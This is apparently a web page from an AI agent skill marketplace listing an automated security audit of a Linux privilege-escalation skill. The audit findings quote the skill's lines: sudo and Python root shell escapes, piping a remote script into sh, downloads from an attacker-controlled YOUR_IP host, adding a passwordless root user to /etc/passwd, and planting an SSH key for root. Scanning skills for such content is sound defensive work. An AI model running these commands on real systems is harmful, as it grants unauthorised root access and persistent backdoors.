Skip to main content

privilege-escalation-knowledge

Provides comprehensive methodologies for Linux privilege escalation, covering enumeration and exploitation techniques for security professionals.

Install this skill

or
0/100

Security score

The privilege-escalation-knowledge skill was audited on Mar 1, 2026 and we found 34 security issues across 4 threat categories, including 1 critical. Review the findings below before installing.

Categories Tested

Security Issues

high line 151

Direct command execution function call

SourceSKILL.md
151# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
high line 132

Piping content to sh shell

SourceSKILL.md
132curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
medium line 149

System command execution

SourceSKILL.md
149# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
medium line 181

System command execution

SourceSKILL.md
181/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
medium line 203

System command execution

SourceSKILL.md
203/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
medium line 181

Python os.system command execution

SourceSKILL.md
181/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
medium line 203

Python os.system command execution

SourceSKILL.md
203/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
medium line 117

Curl to non-GitHub URL

SourceSKILL.md
117curl http://YOUR_IP:8000/linpeas.sh -o linpeas.sh
medium line 115

Wget to non-GitHub URL

SourceSKILL.md
115wget http://YOUR_IP:8000/linpeas.sh
medium line 278

Wget to non-GitHub URL

SourceSKILL.md
278wget http://YOUR_IP:8000/dirtypipe.c
critical line 209

Access to /etc/passwd

SourceSKILL.md
209### 4. Writable /etc/passwd
high line 212

Access to /etc/passwd

SourceSKILL.md
212# Check if /etc/passwd is writable
high line 213

Access to /etc/passwd

SourceSKILL.md
213ls -la /etc/passwd
high line 216

Access to /etc/passwd

SourceSKILL.md
216echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
high line 219

Access to /etc/passwd

SourceSKILL.md
219echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
high line 465

Access to /etc/passwd

SourceSKILL.md
465ls -la /etc/shadow /etc/passwd
high line 465

Access to /etc/shadow

SourceSKILL.md
465ls -la /etc/shadow /etc/passwd
low line 310

Access to hidden dotfiles in home directory

SourceSKILL.md
310cat ~/.bash_history
medium line 92

Access to root home directory

SourceSKILL.md
92ls -la /root/
medium line 380

Access to root home directory

SourceSKILL.md
380mkdir -p /root/.ssh
medium line 381

Access to root home directory

SourceSKILL.md
381echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
medium line 382

Access to root home directory

SourceSKILL.md
382chmod 600 /root/.ssh/authorized_keys
medium line 391

Access to root home directory

SourceSKILL.md
391cat /root/root.txt
medium line 392

Access to root home directory

SourceSKILL.md
392cat /root/flag.txt
medium line 403

Access to root home directory

SourceSKILL.md
403cat /root/root.txt | wc -c # Should be 33 (32 + newline)
medium line 404

Access to root home directory

SourceSKILL.md
404cat /root/root.txt | grep -E '^[a-f0-9]{32}$'
medium line 411

Access to root home directory

SourceSKILL.md
411ROOT_FLAG=$(cat /root/root.txt)
medium line 547

Access to root home directory

SourceSKILL.md
547# cat /root/root.txt
high line 381

Access to SSH directory

SourceSKILL.md
381echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
high line 382

Access to SSH directory

SourceSKILL.md
382chmod 600 /root/.ssh/authorized_keys
low line 67

External URL reference

SourceSKILL.md
67- GTFOBins (https://gtfobins.github.io/) - SUID/sudo exploitation
low line 115

External URL reference

SourceSKILL.md
115wget http://YOUR_IP:8000/linpeas.sh
low line 117

External URL reference

SourceSKILL.md
117curl http://YOUR_IP:8000/linpeas.sh -o linpeas.sh
low line 278

External URL reference

SourceSKILL.md
278wget http://YOUR_IP:8000/dirtypipe.c
Scanned on Mar 1, 2026
View Security Dashboard
Installation guide →
GitHub Stars 278
Rate this skill
Categorydevelopment
UpdatedMay 21, 2026
aiskillstore/marketplace